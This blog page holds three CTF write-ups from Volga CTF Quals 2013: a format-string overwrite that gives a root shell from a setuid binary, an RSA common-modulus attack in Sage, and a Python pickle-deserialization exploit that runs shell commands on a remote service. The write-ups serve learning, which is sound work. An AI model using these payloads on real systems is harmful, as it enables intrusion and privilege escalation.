Showing posts with label Volga CTF. Show all posts
Showing posts with label Volga CTF. Show all posts

Sunday, May 5, 2013

Volga CTF Quals 2013 - Exploitation 200

For this challenge we got a x86-64 setuid binary. I couldnt finish the challenge in time, during the contest. Here is a write up on solving the challenge. We have to exploit a format string vulnerability in the x86-64 ELF binary. This is what the binary does

[*] While True
[*] A buffer space of 512 bytes is initialised to NULL
[*] fgets(buffer, 511, stdin) is used to get the user input
[*] printf(buffer) is called, resulting in a format string vulnerability
[*] A series of computations are made using the value of variable "cycle" which is set to NULL initially
[*] If the computations succeed, system("exec /bin/sh") is called. Else the loop continues from beginning

Important section of the binary:
   0x0000000000400630 <+28>: nop     # while 1
   0x0000000000400631 <+29>: lea    rsi,[rbp-0x210]
   0x0000000000400638 <+36>: mov    eax,0x0
   0x000000000040063d <+41>: mov    edx,0x40    # 64
   0x0000000000400642 <+46>: mov    rdi,rsi
   0x0000000000400645 <+49>: mov    rcx,rdx
   0x0000000000400648 <+52>: rep stos QWORD PTR es:[rdi],rax  # initialize 512 bytes of memory [rbp-0x210] to NULL
   0x000000000040064b <+55>: mov    rax,QWORD PTR [rip+0x2009e6]  # 0x601038 ;stdin
   0x0000000000400652 <+62>: mov    rdx,rax
   0x0000000000400655 <+65>: lea    rax,[rbp-0x210]
   0x000000000040065c <+72>: mov    esi,0x1ff   
   0x0000000000400661 <+77>: mov    rdi,rax
   0x0000000000400664 <+80>: call   0x400510 <fgets@plt> # fgets([rbp-0x210], 511, stdin)
   0x0000000000400669 <+85>: lea    rax,[rbp-0x210]
   0x0000000000400670 <+92>: movzx  eax,BYTE PTR [rax]
   0x0000000000400673 <+95>: test   al,al    
   0x0000000000400675 <+97>: jne    0x400681 <main+109>
   0x0000000000400677 <+99>: mov    edi,0xffffffff
   0x000000000040067c <+104>: call   0x400520 <exit@plt>
   0x0000000000400681 <+109>: lea    rax,[rbp-0x210]
   0x0000000000400688 <+116>: mov    rdi,rax
   0x000000000040068b <+119>: mov    eax,0x0
   0x0000000000400690 <+124>: call   0x4004f0 <printf@plt> # printf([rbp-0x210]) ; format string vulnerability
   0x0000000000400695 <+129>: mov    eax,DWORD PTR [rip+0x2009b5] # 0x601050 <cycle>==NULL
   0x000000000040069b <+135>: and    eax,0xffff      
   0x00000000004006a0 <+140>: mov    DWORD PTR [rbp-0x218],eax
   0x00000000004006a6 <+146>: mov    eax,DWORD PTR [rip+0x2009a4] # 0x601050 <cycle>
   0x00000000004006ac <+152>: shr    eax,0x10       
   0x00000000004006af <+155>: mov    DWORD PTR [rbp-0x214],eax
   0x00000000004006b5 <+161>: mov    eax,DWORD PTR [rbp-0x218]
   0x00000000004006bb <+167>: mov    edx,eax
   0x00000000004006bd <+169>: imul   edx,DWORD PTR [rbp-0x218]
   0x00000000004006c4 <+176>: mov    eax,DWORD PTR [rbp-0x214]
   0x00000000004006ca <+182>: imul   eax,DWORD PTR [rbp-0x214]
   0x00000000004006d1 <+189>: imul   eax,eax,0xffffffffffffffe3 
   0x00000000004006d4 <+192>: add    eax,edx
   0x00000000004006d6 <+194>: cmp    eax,0x1
   0x00000000004006d9 <+197>: jne    0x400630 <main+28> # else break
   0x00000000004006df <+203>: mov    edi,0x4007dc
   0x00000000004006e4 <+208>: call   0x4004e0 <system@plt>    # system("exec /bin/sh")
   0x00000000004006e9 <+213>: jmp    0x400630 <main+28>

To exploit the binary:

[*] Find the value of cycle variable, to break the loop and execute system()
[*] Write this value into the cycle variable using the format string bug.

First find the value of cycle variable. A simple script can bruteforce this value. The value was found to be 1.
#!/usr/bin/env python
# 200.py

for i in range(10000):
   val1 = i & 0xffff
   val2 = i >> 0x10
   edx = val1 * val1
   eax = val2 * val2
   eax = eax * -29
   eax = eax + edx
   if eax == 1 :
       print i
Now, we have to write 1 into the memory location 0x601050 (&cycle). Lets try this using format string vulnerability
renorobert@renorobert:~/Desktop$ echo -ne '%qx.%qx.%qx.%qx.%qx.%qx.%qx.%qx.%qx' | ./expl200
7f72ab59b000.7f72ab377ac0.7fffd2f54980.7871252e7871252e.0.7fffd2f54b30.1.2e7871252e787125.2e7871252e78712
We can reach our buffer containing format string in 8 QWORDs. There are few things that we should note

[*] Payload has to be aligned in 8 bytes(QWORD)
[*] fgets() can read NUL bytes and stops reading only with new line or EOF
[*] Piping data into the binary will not give an interactive shell

Now lets pass the address and try writing data into the location
renorobert@renorobert:~/Desktop$ echo -ne '|%9$qxAA\x50\x10\x60' | ./expl200
|601050AAP `
"|%9$qxAA" is 8 bytes of data, byte aligned to QWORD. 9th QWORD has the adress of destination to overwrite
renorobert@renorobert:~/Desktop$ echo -ne '|%9$qnAA\x50\x10\x60' | ltrace -i ./expl200
[0x400559] __libc_start_main(0x400614, 1, 0x7fffaa066828, 0x4006f0, 0x400780 <unfinished ...>
[0x400669] fgets(NULL, -403578880, 0x7fcbe7cfaac0)              = 0x7fffaa066530
[0x400695] printf("|%9$qnAAP\020`", 0x7fcbe7f1e000)             = 6
[0x4006e9] system("exec /bin/sh" <unfinished ...>
[0x7fcbe79766e0] --- SIGCHLD (Child exited) ---
[0x4006e9] <... system resumed> )                               = 0
[0x400669] fgets(NULL, -403578880, 0x7fcbe7cfaac0)              = NULL
[0x400681] exit(-1|AAP ` <unfinished ...>
[0xffffffffffffffff] +++ exited (status 255) +++

renorobert@renorobert:~/Desktop$ echo -ne '|%9$qnAA\x50\x10\x60' |  ./expl200
|AAP `
We have managed to execute system() function but there is no interactive shell. To overcome this, we will use cat command. fgets has to be terminated with newline '\n'
renorobert@renorobert:~/Desktop$ (echo -ne '|%9$qnAA\x50\x10\x60';cat) |  ./expl200

id
Segmentation fault
This is because, the newline 0x0a is written along with the address. So the address becomes 0x0a601050 instead of 0x601050. We will pad the address 0x601050 with 5 bytes of NUL to get a QWORD alignment. Now the new line 0x0a will be written into the 3rd QWORD.
renorobert@renorobert:~/Desktop$ (echo -ne '|%9$qnAA\x50\x10\x60\x00\x00\x00\x00\x00\n';cat) |  ./expl200 
id
uid=1000(renorobert) gid=1000(renorobert) euid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),1000(renorobert)
We got a shell on the setuid root binary

Saturday, May 4, 2013

Volga CTF Quals 2013 - Crypto 200 - [Team xbios]

Description:
You've managed to intercept two transmissions from other space ships Ð each contains a password-protected archive and a ciphertext. They look like packages from the server that corrects autopilot configuration settings to avoid space garbage. Unfortunately, you can't communicate with this server. Apparently, both ciphertexts are actually the same message encrypted with different RSA public keys. As for the message, it might be the key for archive. Knowing the source of both transmissions, you do have public keys that might be used to encrypt the archive key. Is it possible to get the content of the archive? You will get the space junk out of your way!

We have the following data:
Public Key 1 
(e1, n) = (599703852157208324988436697659896404638315905290324375700570316485421693, 108039548283467910018636019706918049787296862983920390620425680109149061265582938100265640505395436176923520902062289606379329490555998996693285930619495040456388113166495283026905991110314710632437395833112529488024010984327573108928719840003018232385552027586272040584786259207191357206321725581066222359269709853312236804681275337051689984480610347322381805920314518020927280061535012383180989715215061621017100281215170089223279840979641688194933238176625422507335413025975742216947757245112001827202742177202602339368271393570814426349)

Cipher text 1
64192679490201084919864109589711225051306895753052452251471181011935890793544442381990900483806859201269602393008215002967277584404244028747557515652983421402831933955031514949051711613799413945375516057965907322753883557356486350981432321137639633448144656731569958858836168965404795837648422955123798171558220417018614361054908596961274183141350877544714255973182298022152382603068819975693640211216195897799698027064327186095742305485491820097943409724898378023689276832524319007493796910829806469346146322827201567159126666629388322479

Public Key 2
(e2, n) = (2021187385200166516022746434619391941987919206967476592818217288363509, 108039548283467910018636019706918049787296862983920390620425680109149061265582938100265640505395436176923520902062289606379329490555998996693285930619495040456388113166495283026905991110314710632437395833112529488024010984327573108928719840003018232385552027586272040584786259207191357206321725581066222359269709853312236804681275337051689984480610347322381805920314518020927280061535012383180989715215061621017100281215170089223279840979641688194933238176625422507335413025975742216947757245112001827202742177202602339368271393570814426349)

Cipher text 2
59479689549560080704719346207028172045832447629676482962810835773815464251268645222410752554301728769639790100177113106905240622051153394111672911715955043318248120741697967901541458159847100613910368380426590912304442624789475183028091060736577136778183984119998489277854012692016578461901960239232919085733417338853775102362931632001858570236887517967863584958729992234586883928904928030598648389127230808653922583812124081813290524003879897252243176409322823308176329788244775196386356286749265723818517581499920415831945106137632995322
We can notice that same value of 'n' is used in both cases and the message is also the same. So we can break this using RSA common modulus attack. This is what the attack says:
[*] e1 and e2 are relatively prime ie. gcd(e1, e2) == 1
[*] By the Extended Euclidean Algorithm, a*e1 + b*e2 == gcd(e1, e2)
[*] Let C1 and C2 be the cipher texts of message m

C1 = m^e1 mod n
C2 = m^e2 mod n 

C1^a * C2^b == (m^e1)^a * (m^e2)^b mod n
C1^a * C2^b == m^(a*e1 + b*e2) mod n
C1^a * C2^b == m mod n

Since a is negative, we compute
(C1^-1)^a * C2^b == m mod n
Ok, now lets use sage to do these computations
sage: e1 = 599703852157208324988436697659896404638315905290324375700570316485421693
sage: e2 = 2021187385200166516022746434619391941987919206967476592818217288363509
sage: n = 108039548283467910018636019706918049787296862983920390620425680109149061265582938100265640505395436176923520902062289606379329490555998996693285930619495040456388113166495283026905991110314710632437395833112529488024010984327573108928719840003018232385552027586272040584786259207191357206321725581066222359269709853312236804681275337051689984480610347322381805920314518020927280061535012383180989715215061621017100281215170089223279840979641688194933238176625422507335413025975742216947757245112001827202742177202602339368271393570814426349
sage: cipher1 = 64192679490201084919864109589711225051306895753052452251471181011935890793544442381990900483806859201269602393008215002967277584404244028747557515652983421402831933955031514949051711613799413945375516057965907322753883557356486350981432321137639633448144656731569958858836168965404795837648422955123798171558220417018614361054908596961274183141350877544714255973182298022152382603068819975693640211216195897799698027064327186095742305485491820097943409724898378023689276832524319007493796910829806469346146322827201567159126666629388322479
sage: cipher2 = 59479689549560080704719346207028172045832447629676482962810835773815464251268645222410752554301728769639790100177113106905240622051153394111672911715955043318248120741697967901541458159847100613910368380426590912304442624789475183028091060736577136778183984119998489277854012692016578461901960239232919085733417338853775102362931632001858570236887517967863584958729992234586883928904928030598648389127230808653922583812124081813290524003879897252243176409322823308176329788244775196386356286749265723818517581499920415831945106137632995322

sage: gcd(e1, e2)  # Relatively prime
1
sage: val = xgcd(e1, e2) # Extended Euclidean Algorithm
sage: val
(1, -3047508293327982779161516622450839163404526801300587435875399397355, 904222179681195587324531859318948099549580203141997568283661184044224)
sage: a = -val[1]
sage: a
3047508293327982779161516622450839163404526801300587435875399397355
sage: b = val[2]
sage: b
904222179681195587324531859318948099549580203141997568283661184044224
sage: cipher1_inv = inverse_mod(cipher1, n) # Multiplicative inverse
sage: cipher1_inv
49882118660580323132467117552276128300614229858832013404741331714334503133649474000400824741560286993474795185146741270220095396126691006446586108884217265900328937680293201118674476028108395000917327921867599979692111002779827647440384347225473157540218799037461665550199440995365907179136646940841772015473789593113023235321359849036424451006123980720306616883939654926239630666201750535887553205856794969495851564203306735787871522626375210178147364523182997655961822887981171722156045438928862532799694071412437194525903453048230129583

sage: c1a = Mod(cipher1_inv, n) ^ a # Square and Multiply algorithm
sage: c1a
41469201017671525980368839429837195396084994817924814990774939845326361705647744310093150006053943147640059339296841399913504561282912441493855262177235335163582510545748763113210275652403002725065333196077070355270576200547613273450470814161561912356462838553050343438059422947380358064075951153983513248335264919975924161127571537532543369398463333064729421949754686699997006195940667044423272156385649336229018660142717513039952955141634801106594451630692732900999746770594155899945113543988204102612492489906092084186526076794329828855
sage: c2b = Mod(cipher2, n) ^ b
sage: c2b
28572464787303927433139480688120103799450333993942770377763568953906568621027391472843696689996459445428095360778023546317751548897270315411496636052798098326232273297351844385991588487531221292119364884784693807035802310520348076486338510106043448492709653411110192210391119474114040490261049642643699360158053381341387211041514755333117982148513726627125367488864516664957365575090594728178808919916448298474482486390692427228381759924160007325779183789864908736476522756356374167807501269961385802206964229596780285088364964068284094380
sage: (c1a * c2b) % n
4561387865153841354984687512687489546516849543684654468465495143548954351686168165161
So the message is:
4561387865153841354984687512687489546516849543684654468465495143548954351686168165161

Using the message as password, open the compressed 7z file. We get the corrections.json file, which reads
{
   "server": "AN4-SEE23",
   "clientid": "1WSS-431222-2334-5666",
   "config": {
       "j-base": "+56.661",
       "values": "12889.557; 1333.127; LW; E21; -12.178"
   }
}
The flag for the challenge is : 12889.557; 1333.127; LW; E21; -12.178

Volga CTF Quals 2013 - Exploitation 100 - [Team xbios]

Description:
You have a nice service that transforms any messages into a simple Morse-like code for further usage. It seems to work pretty well but sometimes it can return something unusual. Find out what can make it work wrong and what it returns in this case. 10.13.0.5:6000

The source code of the service is given and its written in python. Vulnerability is easy to spot, the server.py file uses python pickles. Here is a section of code from server.py
while True:
    s_client, addrinfo = s.accept()
    os.fork()
    data = s_client.recv(1024)
    if data:
        try:
            print data + '\n from ' + str(addrinfo)
            print len(data)
            msg = pickle.loads(data) # code execution vulnerability 
            print str(msg)
            proc = Processor()
            response = proc.process(msg)
            s_client.send(response)
Here data passed to pickle.loads(data) is not sanitized. Details of exploiting python pickle is found in paper Sour Pickles and blog.nelhage.com. We tried using linux features to get a connect back shell and leak data through out of band traffic using wget and curl to make http requests. But both the attempt failed. Finally, this is the idea of our exploit

[*] dup2 stdout and socket descriptor
[*] execute commands using system() function and read the output from the socket

Below is the exploit we used:
#!/usr/bin/env python
# exploit.py

import pickle
import socket
import os

ip = "10.13.0.5"
#ip = "127.0.0.1"
port = 6000

soc = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
soc.connect((ip, port))

class payload_dup2(object):
    def __reduce__(self):
        return (os.dup2, (5,1,))

class payload_system(object):
    def __reduce__(self):
        com = "cat flag.txt"
        return (os.system, (com,))

payload  = pickle.dumps(payload_dup2())[:-1] #  remove the STOP marker
payload += pickle.dumps(payload_system())
print repr(payload)

soc.send(payload + '\n')
print soc.recv(1024)
Remove STOP marker from the dup2() pickled data, then append payload for system() with it .Pickle'd data is slightly modified to bypass sanity checks and can be analysed using pickletools.dis()
>>> pickletools.dis("cposix\ndup2\np0\n(I5\nI1\ntp1\nRp2\ncposix\nsystem\np3\n(S'cat flag.txt'\np4\ntp5\nRp6\nR.")
    0: c    GLOBAL     'posix dup2'
   12: p    PUT        0
   15: (    MARK
   16: I        INT        5
   19: I        INT        1
   22: t        TUPLE      (MARK at 15)
   23: p    PUT        1
   26: R    REDUCE
   27: p    PUT        2
   30: c    GLOBAL     'posix system'
   44: p    PUT        3
   47: (    MARK
   48: S        STRING     'cat flag.txt'
   64: p        PUT        4
   67: t        TUPLE      (MARK at 47)
   68: p    PUT        5
   71: R    REDUCE
   72: p    PUT        6
   75: R    REDUCE
   76: .    STOP
highest protocol among opcodes = 0
[ctf@renorobert exploit100]$ python exploit.py  # ls
"cposix\ndup2\np0\n(I5\nI1\ntp1\nRp2\ncposix\nsystem\np0\n(S'ls'\np1\ntp2\nRp3\n."
flag.txt
message.py
message.pyc
processor.py
processor.pyc
server.py

[ctf@renorobert exploit100]$ python exploit.py  # cat flag.txt
"cposix\ndup2\np0\n(I5\nI1\ntp1\nRp2\ncposix\nsystem\np0\n(S'cat flag.txt'\np1\ntp2\nRp3\n."
Iame@tt$ke][ack3R
The flag for the challenge is Iame@tt$ke][ack3R